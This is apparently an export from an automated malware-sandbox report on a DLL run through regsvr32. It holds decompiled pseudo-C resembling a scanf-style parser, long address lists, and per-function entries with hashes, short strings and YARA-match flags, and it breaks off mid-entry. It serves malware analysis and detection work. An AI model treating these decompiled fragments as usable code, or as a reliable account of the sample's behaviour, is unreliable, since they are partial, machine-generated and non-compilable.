						if(r12d == 0x6e) {
							L43:
							r8d = _a104;
							if(r8d == 0) {
								_t305 = _a68;
								L48:
								if(r10b != 0) {
									_t378 = _a160;
									L57:
									_t81 = _t381 - 0x63; // -100
									if(_t81 > 0x18) {
										_t343 = _a80;
										if(( *_t343 & 0x000000ff) != _t310) {
											if(_t310 != 0xffffffff) {
												_t359 = _t363;
												_t297 = _t310;
												E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t378, _t381);
											}
											_t386 = _a88;
											_t294 = 1;
											goto L157;
										}
										_a65 = _a65 + 0xff;
										r13d = _a48;
										_t376 =  ==  ? _a200 : _t378;
										_a65 = _a65 + 1;
										_t343 =  &(_t343[1]);
										_a160 =  ==  ? _a200 : _t378;
										_a80 = _t343;
										goto L130;
									}
									_t329 = 0x10000000;
									_t351 = 0x20000000;
									goto __rcx;
								}
								if(r12d == 0x63 || r12d == 0x73 || r12d == 0x7b) {
									_t379 = _a200;
									_t329 =  *_t379;
									_t380 = _t379 + 8;
									r15d =  *_t380;
									_a200 = _t380;
									_t378 =  &(_t380[2]);
									_a144 = _t329;
									_a160 = _t378;
									if(_t388 >= 1) {
										goto L57;
									}
									if(r13b <= 0) {
										 *_t329 = 0;
									} else {
										 *_t329 = 0;
									}
									E10032420(_t329);
									_t386 = _a88;
									_t294 = _a60;
									 *_t329 = 0xc;
									goto L157;
								} else {
									_t378 = _a160;
									goto L57;
								}
							}
							_t305 = _a68;
							if(_a68 != 0) {
								goto L48;
							}
							if(_t310 == 0xffffffff) {
								_t386 = _a88;
								_t294 = r15d;
							} else {
								_t359 = _t363;
								_t297 = _t310;
								E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
								_t386 = _a88;
								_t294 = r15d;
							}
							goto L157;
						} else {
							if(r12d == 0x63 || r12d == 0x7b) {
								_a48 = _a48 + 1;
								_t64 =  &(_t363[1]);
								 *_t64 = _t363[1] + 0xffffffff;
								if( *_t64 < 0) {
									_t351 = _t363;
									_t269 = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
									_t372 = _a80;
									r10b = _a56;
									_t310 = _t269;
									_a52 = _t269;
								} else {
									_t329 =  *_t363 + 1;
									_t310 =  *(_t329 - 1) & 0x000000ff;
									 *_t363 = _t329;
									_a52 = _t310;
								}
								goto L42;
							} else {
								r12d = _a48;
								while(1) {
									r12d = r12d + 1;
									_t53 =  &(_t363[1]);
									 *_t53 = _t363[1] + 0xffffffff;
									if( *_t53 < 0) {
										_t351 = _t363;
										_t270 = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
										_t310 = _t270;
										_a52 = _t270;
									} else {
										_t329 =  *_t363 + 1;
										_t310 =  *(_t329 - 1) & 0x000000ff;
										 *_t363 = _t329;
										_a52 = _t310;
									}
									if(_t310 == 0xffffffff) {
										break;
									}
									_t297 = dil & 0xffffffff;
									if(E100434A0(_t293, dil & 0xffffffff, _t359, _t361, _t363, _t365, _t369, _t375, _t381, _t383, _t385, _t388) != 0) {
										continue;
									}
									break;
								}
								_t372 = _a80;
								r10b = _a56;
								_a48 = r12d;
								r12d = _a156;
								L42:
								if(_t310 == 0xffffffff) {
									_t386 = _a88;
									_t294 = r15d;
									goto L157;
								}
								goto L43;
							}
						}
					}
				} else {
					r13d = r13d - 1;
					goto L3;
					L6:
					if(_t293 == 0xffffffff) {
						L9:
						_t347 = _a80;
						goto L10;
						L10:
						_t297 =  *(_t347 + 1) & 0x000000ff;
						_t347 = _t347 + 1;
						if(E100434A0(_t293, _t297, _t359, _t361, _t363, _t365, _t369, _t375, _t381, _t383, _t385, _t388) != 0) {
							goto L10;
						} else {
							_a80 = _t347;
							goto L133;
						}
					}
					if(E100434A0(_t293, _t293 & 0x000000ff, _t359, _t361, _t363, _t365, _t369, _t375, _t381, _t383, _t385, _t388) != 0) {
						L3:
						r13d = r13d + 1;
						_t3 =  &(_t363[1]);
						 *_t3 = _t363[1] + 0xffffffff;
						_a48 = r13d;
						if( *_t3 < 0) {
							_t351 = _t363;
							_t293 = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
						} else {
							_t329 =  *_t363 + 1;
							_t293 =  *(_t329 - 1) & 0x000000ff;
							 *_t363 = _t329;
						}
						goto L6;
					} else {
						_t359 = _t363;
						E1004A1D0(_t293, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
						goto L9;
					}
				}
			}

0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x100416f8
0x10041703
0x10041708
0x1004170c
0x10041710
0x10041717
0x1004171c
0x1004171f
0x1004172a
0x10041721
0x10041721
0x10041725
0x10041725
0x10041735
0x1004173d
0x10041745
0x1004174d
0x10041755
0x1004175d
0x10041760
0x10041764
0x10041764
0x1004176c
0x10041773
0x10041824
0x10041828
0x10042893
0x10042898
0x10042919
0x10042923
0x10042925
0x10042928
0x10042928
0x10042930
0x10042967
0x100429ab
0x100429b3
0x100429c0
0x100429c2
0x100429c2
0x10042969
0x10042969
0x1004296e
0x10042971
0x10042976
0x10042978
0x10042981
0x10042987
0x10042994
0x1004299e
0x1004299e
0x100429a5
0x10042932
0x10042932
0x10042938
0x10042938
0x10042951
0x1004295b
0x1004295b
0x10042951
0x10042a24
0x10042a24
0x10041832
0x10041836
0x1004185d
0x10041865
0x1004186b
0x1004186f
0x10041871
0x10041874
0x10041876
0x10041876
0x1004187f
0x10041881
0x10041881
0x00000000
0x10041885
0x00000000
0x10041885
0x1004188a
0x1004189d
0x1004189d
0x100418a0
0x100418a0
0x100418a4
0x100418a8
0x100418be
0x100418c1
0x100418c6
0x100418c8
0x100418aa
0x100418ad
0x100418b1
0x100418b5
0x100418b8
0x100418b8
0x100418cf
0x100418f8
0x100418fe
0x10041902
0x10041907
0x10041909
0x10041909
0x1004190e
0x1004190e
0x10041919
0x10042885
0x1004288a
0x00000000
0x1004288a
0x10041924
0x10042685
0x1004268a
0x1004268f
0x10042693
0x1004192a
0x1004192a
0x1004192f
0x10041937
0x1004193c
0x100426a2
0x100426a7
0x100426ac
0x100426b0
0x10041942
0x10041945
0x10041a89
0x10041a8e
0x10041a93
0x10041a97
0x10041a9a
0x1004194b
0x10041950
0x10041955
0x1004195a
0x1004195e
0x10041963
0x10041963
0x10041945
0x1004193c
0x00000000
0x10042760
0x00000000
0x10042760
0x10042760
0x10042760
0x10042763
0x10042778
0x10042778
0x10042778
0x1004277c
0x00000000
0x00000000
0x00000000
0x1004277c
0x10042782
0x10042787
0x00000000
0x10042787
0x10042768
0x100428bd
0x100428c2
0x00000000
0x100428c2
0x10042772
0x100428c8
0x100428cd
0x00000000
0x100428cd
0x00000000
0x10042717
0x10042717
0x10042720
0x10042724
0x10042724
0x10042728
0x1004273b
0x10042743
0x1004272a
0x1004272d
0x10042731
0x10042736
0x10042736
0x10042746
0x10042749
0x10042750
0x10042755
0x10042802
0x10042804
0x10042807
0x1004280a
0x1004280a
0x10042812
0x100428b2
0x100428b7
0x10042818
0x10042818
0x1004281b
0x1004281d
0x10042822
0x10042827
0x10042827
0x00000000
0x1004275b
0x1004275b
0x00000000
0x1004275b
0x10042755
0x10042760
0x100418d1
0x100418d5
0x10041996
0x1004199b
0x10041a7b
0x00000000
0x10041a7b
0x100419a4
0x100427ac
0x100427b4
0x100427ba
0x100427cf
0x100427d4
0x100427d7
0x100427bc
0x100427bc
0x100427c1
0x100427c6
0x100427c6
0x00000000
0x100427ba
0x100419ad
0x10041a62
0x10041a66
0x10041a6a
0x10041a6e
0x100419b3
0x100419b3
0x100419b7
0x100419c6
0x100419c8
0x100419cb
0x100419cb
0x100419cf
0x100419d3
0x100419f3
0x100419d5
0x100419d5
0x100419db
0x100419e6
0x100419e6
0x100419d3
0x10041a02
0x10041a14
0x10041a1b
0x10041a23
0x10041a2b
0x10041a30
0x10041a38
0x10041a41
0x10041a45
0x10041a49
0x10041a4d
0x10041a4d
0x00000000
0x100419ad
0x100418df
0x10041971
0x00000000
0x00000000
0x10041978
0x1004197c
0x1004198b
0x1004198d
0x10041990
0x00000000
0x00000000
0x00000000
0x10041990
0x100418e8
0x100418f2
0x00000000
0x00000000
0x100418f2
0x00000000
0x100418e8
0x100418cf
0x1004188c
0x10041892
0x10041897
0x1004189b
0x00000000
0x00000000
0x00000000
0x1004189b
0x10041885
0x10041779
0x10041779
0x10041780
0x10041780
0x10041786
0x100417ec
0x100417ee
0x100417f2
0x100417fa
0x10041801
0x10041803
0x1004178d
0x1004178d
0x10041793
0x00000000
0x00000000
0x10041795
0x1004179b
0x100417a3
0x100417a6
0x1004179d
0x1004179d
0x1004179d
0x100417ac
0x100417e7
0x100417e7
0x00000000
0x100417ae
0x100417ae
0x100417c0
0x100417cb
0x100417cf
0x100417d5
0x100417d8
0x100417da
0x100417e2
0x00000000
0x100417c0
0x100417ac
0x1004180b
0x1004180b
0x1004180e
0x10041817
0x1004181f
0x00000000
0x1004181f
0x10041260
0x10041260
0x1004126a
0x100412de
0x100426d2
0x100426d6
0x100426d6
0x100426da
0x100426df
0x100426f5
0x100426f8
0x100426fd
0x100426ff
0x100426e1
0x100426e4
0x100426e8
0x100426ec
0x100426ef
0x100426ef
0x10042703
0x10042706
0x1004270c
0x10042711
0x10042833
0x1004284d
0x10042852
0x10042835
0x10042835
0x10042838
0x1004283a
0x1004283f
0x10042844
0x10042844
0x00000000
0x00000000
0x00000000
0x00000000
0x100412e4
0x100412e6
0x100412e9
0x100412ec
0x100412ef
0x100412f2
0x100412f5
0x100412fd
0x10041305
0x10041308
0x1004130b
0x1004130e
0x10041316
0x1004131b
0x1004131f
0x10041323
0x10041327
0x1004132e
0x10041330
0x10041330
0x10041334
0x10041339
0x1004133c
0x10041345
0x1004135e
0x10041364
0x1004136a
0x10041371
0x1004137c
0x10041383
0x10041386
0x10041386
0x10041405
0x1004140a
0x10041347
0x1004134b
0x1004134f
0x10041354
0x10041354
0x10041476
0x1004147f
0x10041484
0x10041488
0x1004148d
0x10041493
0x1004149b
0x100414a3
0x100414ab
0x100414b0
0x100414b8
0x100414bc
0x100414c4
0x100414f0
0x100414c6
0x100414c6
0x100414ce
0x100414d6
0x100414da
0x100414e2
0x100414e6
0x100414e6
0x100414f8
0x100414fd
0x1004151a
0x100414ff
0x100414ff
0x10041504
0x1004150a
0x10041515
0x10041510
0x10041510
0x10041510
0x1004150a
0x1004151f
0x10041523
0x1004152b
0x10041533
0x100415e7
0x100415e7
0x100415ef
0x10041619
0x1004161d
0x10041620
0x10041685
0x1004168d
0x1004168d
0x10041695
0x10042607
0x10042611
0x100427e3
0x100427e5
0x100427e8
0x100427ea
0x100427ea
0x100427ef
0x100427f4
0x00000000
0x100427f4
0x10042617
0x1004261c
0x10042624
0x1004262d
0x10042632
0x10042636
0x1004263e
0x00000000
0x1004263e
0x100416ab
0x100416b2
0x100416b5
0x100416b5
0x10041626
0x10041634
0x1004163c
0x1004163f
0x10041643
0x10041646
0x1004164e
0x10041656
0x1004165e
0x10041666
0x00000000
0x00000000
0x1004166b
0x10042790
0x10041671
0x10041671
0x10041671
0x10042793
0x10042798
0x1004279d
0x100427a1
0x00000000
0x1004167b
0x1004167b
0x00000000
0x1004167b
0x10041626
0x100415f1
0x100415f7
0x00000000
0x00000000
0x100415fc
0x1004289e
0x100428a3
0x10041602
0x10041602
0x10041605
0x10041607
0x1004160c
0x10041611
0x10041611
0x00000000
0x10041539
0x1004153d
0x100415a7
0x100415ac
0x100415ac
0x100415b0
0x100415c6
0x100415c9
0x100415ce
0x100415d3
0x100415d8
0x100415da
0x100415b2
0x100415b5
0x100415b9
0x100415bd
0x100415c0
0x100415c0
0x00000000
0x10041545
0x10041545
0x10041550
0x10041550
0x10041554
0x10041554
0x10041558
0x1004156e
0x10041571
0x10041576
0x10041578
0x1004155a
0x1004155d
0x10041561
0x10041565
0x10041568
0x10041568
0x1004157f
0x00000000
0x00000000
0x10041581
0x1004158c
0x00000000
0x00000000
0x00000000
0x1004158c
0x1004158e
0x10041593
0x10041598
0x1004159d
0x100415de
0x100415e1
0x100428a8
0x100428ad
0x00000000
0x100428ad
0x00000000
0x100415e1
0x1004153d
0x10041533
0x1004126c
0x1004126c
0x1004126c
0x10041299
0x1004129c
0x100412b4
0x100412b4
0x100412b4
0x100412c0
0x100412c0
0x100412c4
0x100412cf
0x00000000
0x100412d1
0x100412d1
0x00000000
0x100412d1
0x100412cf
0x100412a8
0x10041270
0x10041270
0x10041274
0x10041274
0x10041278
0x1004127d
0x1004128f
0x10041297
0x1004127f
0x10041282
0x10041286
0x1004128a
0x1004128a
0x00000000
0x100412aa
0x100412aa
0x100412af
0x00000000
0x100412af
0x100412a8

Strings

, xrefs: 10041764

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: affca6da10a2fe0ffd19fdd8df9f8629ebbc9ea44a52345eed592923a5ad469a
Instruction ID: 292ef9e4c878a0b2ab73de5a19a723fb59984b9cca46446908bcc49c5353344f
Opcode Fuzzy Hash: affca6da10a2fe0ffd19fdd8df9f8629ebbc9ea44a52345eed592923a5ad469a
Instruction Fuzzy Hash: 8971E476B0CAC186D760CA21E0443DEBBA1E382794F714126DBD687B99DB79C845CB08

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002539C Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

MQ, xrefs: 00000001800255FA

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: MQ
API String ID: 0-409092821
Opcode ID: 833118fcfb14b3e941e3825ef2f451e3b956c3715eab08df9e2ae327141b1db2
Instruction ID: 88d3e8b12b371bcf7bde85d5d9c5387e08dd3c83a97297ee939d780cb377763f
Opcode Fuzzy Hash: 833118fcfb14b3e941e3825ef2f451e3b956c3715eab08df9e2ae327141b1db2
Instruction Fuzzy Hash: E291F270D042198FDF94CFA8D889ADEBBF1FB48344F109129E855B7290D7789A48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002358C Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

[9, xrefs: 0000000180023672

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [9
API String ID: 0-4020103492
Opcode ID: 4648f2517e9a98dbb6d45c4e27c405c6abf077332fdee9638847badd4874ab4f
Instruction ID: a959b5beecadf83418a3daf16ebd10bd90ef5fc863addd871eaa8ae7a5d47b87
Opcode Fuzzy Hash: 4648f2517e9a98dbb6d45c4e27c405c6abf077332fdee9638847badd4874ab4f
Instruction Fuzzy Hash: A5813D70908709DFDF58DFA8C4A669EBBF1FB48344F00856DE849E7291DB749A09CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E30C Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

tC+, xrefs: 000000018001E495

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tC+
API String ID: 0-3123289602
Opcode ID: b9ca26dcc60bb284368935ed20d8c55e7eb11e4bd528344d281fc9ffe4de4f75
Instruction ID: 3a36fc22f2fffe132c65aa2ec647a899d330dec0d8a7a780cba9b3e35291b1be
Opcode Fuzzy Hash: b9ca26dcc60bb284368935ed20d8c55e7eb11e4bd528344d281fc9ffe4de4f75
Instruction Fuzzy Hash: 939177B590470CDFDB99DF28C08A68D7BB9FB15318F504129FC1E962A4E3B4E618CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022158 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

m#D2, xrefs: 000000018002221B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: m#D2
API String ID: 0-2395067386
Opcode ID: 209c1b0d1887ea27d838a390061629e30d69a94a9b8838831046f8342367cdf3
Instruction ID: 75d624d06d808ff0c1094e52440b91bb848808e6c2612b9531a694ba4344d522
Opcode Fuzzy Hash: 209c1b0d1887ea27d838a390061629e30d69a94a9b8838831046f8342367cdf3
Instruction Fuzzy Hash: 4D51577851760CCBDBA9DF78C4C56A937E0FF68348F21402DE866872A2CB34D529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002A6C Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

j, xrefs: 0000000180002CEF

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j
API String ID: 0-32252576
Opcode ID: fcbff777a0a80c3eaace836c11f0e09cc700afd5c300b8e0dbfedc7730dd6ac1
Instruction ID: cafc469fbd603e85f56529c44a8bea5d008485a4f9ed01f7787e0f889bc772cf
Opcode Fuzzy Hash: fcbff777a0a80c3eaace836c11f0e09cc700afd5c300b8e0dbfedc7730dd6ac1
Instruction Fuzzy Hash: 5671E5705487888BEBF9DF28C8897DE7BE5FB48704F10461DE84A8B290DB759685CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003970 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180003994

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-914838197
Opcode ID: 090e8351acb490705f5b9927042ca00d344ddc70cb668782fa20fec873457c5c
Instruction ID: 31018db38d8ad26d4d2fac04c97411fa93ba7565638f6740ccc040a06513c63a
Opcode Fuzzy Hash: 090e8351acb490705f5b9927042ca00d344ddc70cb668782fa20fec873457c5c
Instruction Fuzzy Hash: 1E51603121C7488BD3BDDF19C8467ABB7E0FB88314F048A1CE4CAD3251DB74A9098B86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011194 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

"'g6, xrefs: 00000001800112CF

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "'g6
API String ID: 0-4084957237
Opcode ID: 37b135fa01c5e09aac3cd5444a47d60c7194a74db6d26e63e661cb6cc0b6aed9
Instruction ID: cb29de535356a68572bbe2e0d97512eb3ebfe078207f949f9247023d4996c585
Opcode Fuzzy Hash: 37b135fa01c5e09aac3cd5444a47d60c7194a74db6d26e63e661cb6cc0b6aed9
Instruction Fuzzy Hash: 6C718EB090038E8FDB48CF64D88A5DE7BB1FB58358F114A19FC25A6250D3B8D668CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DA34 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

ELR, xrefs: 000000018001DBAB

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ELR
API String ID: 0-1542880333
Opcode ID: 2ad4b878602f655bbc5a7f09a72cc0019fcdbecaca3b51402e137e5842dc0044
Instruction ID: 412648c3b9af9965b3a2dcbe125f6191d55ed174cf33282d7bd1d81e15f1a76d
Opcode Fuzzy Hash: 2ad4b878602f655bbc5a7f09a72cc0019fcdbecaca3b51402e137e5842dc0044
Instruction Fuzzy Hash: 74510A7150468D8BDB48DF28C9995ED7BE1FB4C34CF02832DFC8AAA2A1D7789505CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800098AC Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

dl, xrefs: 0000000180009A6D

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dl
API String ID: 0-72126767
Opcode ID: d381311719e390d3017e7e5ef4ebe081c2e1cf01cebe5162cce194e080e07694
Instruction ID: ed8c9bf5f9ffa8821e6d992e23f132b38de9df12df544949ef2182d8c5a0ecc7
Opcode Fuzzy Hash: d381311719e390d3017e7e5ef4ebe081c2e1cf01cebe5162cce194e080e07694
Instruction Fuzzy Hash: 9F5150706097088BE395CE69C18535EBAE1FB8C358F148B6DF08AD62D1CB78DA458B46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B0C4 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

v, xrefs: 000000018002B113

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v
API String ID: 0-455330439
Opcode ID: f5877589c91a908a85a91f668d192de5ec771c96413c64811c6fe63c804e01f2
Instruction ID: ccc2d85b6977e76b60d266bf202601156e1a41216a61bc300eb391695bb01b73
Opcode Fuzzy Hash: f5877589c91a908a85a91f668d192de5ec771c96413c64811c6fe63c804e01f2
Instruction Fuzzy Hash: 60412C70508B588FD7A8DF69D04576ABBE1FB89714F014A6EE58EC7352D770D808CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800243B8 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

.m, xrefs: 00000001800243F8

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .m
API String ID: 0-2044528182
Opcode ID: 767fa34683472406b6f9e23b2fad30f97f16a1091e6d7a54c38b913426a77953
Instruction ID: 9ca15cbbba9579bc11a929e12e1b3dd1e1469f2dc15d3e192d321d7d9b7a55f9
Opcode Fuzzy Hash: 767fa34683472406b6f9e23b2fad30f97f16a1091e6d7a54c38b913426a77953
Instruction Fuzzy Hash: 5441917160DB848FD769DF28D44965AB7E0FB9A344F004A6DF6CAC7252DB70D809CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800233B0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

X N, xrefs: 00000001800233E2

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: X N
API String ID: 0-2011955341
Opcode ID: 9fb620cc40a3c4fc1e7eb1a807cb384446f63d68e344d60e6c55f7477c83bd6a
Instruction ID: d981ceb465d0d7f7d48cdd4d6c8612c45044054723a8410ae12b90f381f7f6ee
Opcode Fuzzy Hash: 9fb620cc40a3c4fc1e7eb1a807cb384446f63d68e344d60e6c55f7477c83bd6a
Instruction Fuzzy Hash: 9951F5B090038E8FDF48CF68C88A5DE7BB0FB58358F10461DE825A7250D3B89664CF94

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D52C Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

e, xrefs: 000000018000D5B3

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: e
API String ID: 0-3362642940
Opcode ID: 1c88629778dc0a2a7c7687eb75f1434f2bbe4ac4deb0d8e9ae115d8195991684
Instruction ID: 8c9ff00c5f0b082fe2e8b008b207d81dc1239537d5ad56551ae071f8eda83858
Opcode Fuzzy Hash: 1c88629778dc0a2a7c7687eb75f1434f2bbe4ac4deb0d8e9ae115d8195991684
Instruction Fuzzy Hash: 3851C5B191030E8FDB48CF68C48A4DE7FB0FB58398F24461DE855A6294D37496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010F74 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

\,,$, xrefs: 0000000180011023

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \,,$
API String ID: 0-2499436541
Opcode ID: 5cb2bd00fe9d774cc489deb549315b2d2d3ece84ee127abecfbe283dfcc8b405
Instruction ID: b23e2363f87328e1fd3292307f2f6bddad8350983178e3f1da459b0cfa031a5f
Opcode Fuzzy Hash: 5cb2bd00fe9d774cc489deb549315b2d2d3ece84ee127abecfbe283dfcc8b405
Instruction Fuzzy Hash: 9851C37011878CDBEBBADF24C8897D977B1FB48708F904219D84D8A290DF749749DB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E42C Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

P, xrefs: 000000018000E4AB

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: ebaaead1743508c78401fee7b7e6642254012508254cd702aa09cbad3bb50d96
Instruction ID: 7b3c983f28c8454d06c784b31dff06b0c65c4818921f1d3718458beafa9b6502
Opcode Fuzzy Hash: ebaaead1743508c78401fee7b7e6642254012508254cd702aa09cbad3bb50d96
Instruction Fuzzy Hash: 3041F27050CB848FD7B4DF28D48579BBBE0FB98304F608A6EE489C72A5CB749549CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007620 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

i?, xrefs: 00000001800076FC

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: i?
API String ID: 0-1132523308
Opcode ID: ae7bdc4a587112e147e5b2a3243b893e39fbc15df474f35575e6fa18b4c94c95
Instruction ID: 130936b3a1aeb9170b14f5b157c22d929d8d8086d02fff4fa17247d575bb6421
Opcode Fuzzy Hash: ae7bdc4a587112e147e5b2a3243b893e39fbc15df474f35575e6fa18b4c94c95
Instruction Fuzzy Hash: FA417D756187818BC748DF28C49651ABBE1FBCD318F404B1DF4CAAA390D738D615CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002480 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

Hdu, xrefs: 00000001800024D4

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hdu
API String ID: 0-1361338675
Opcode ID: 8418174d68346dc93b53a159629100360496aca53275fddac5ec063eda55d920
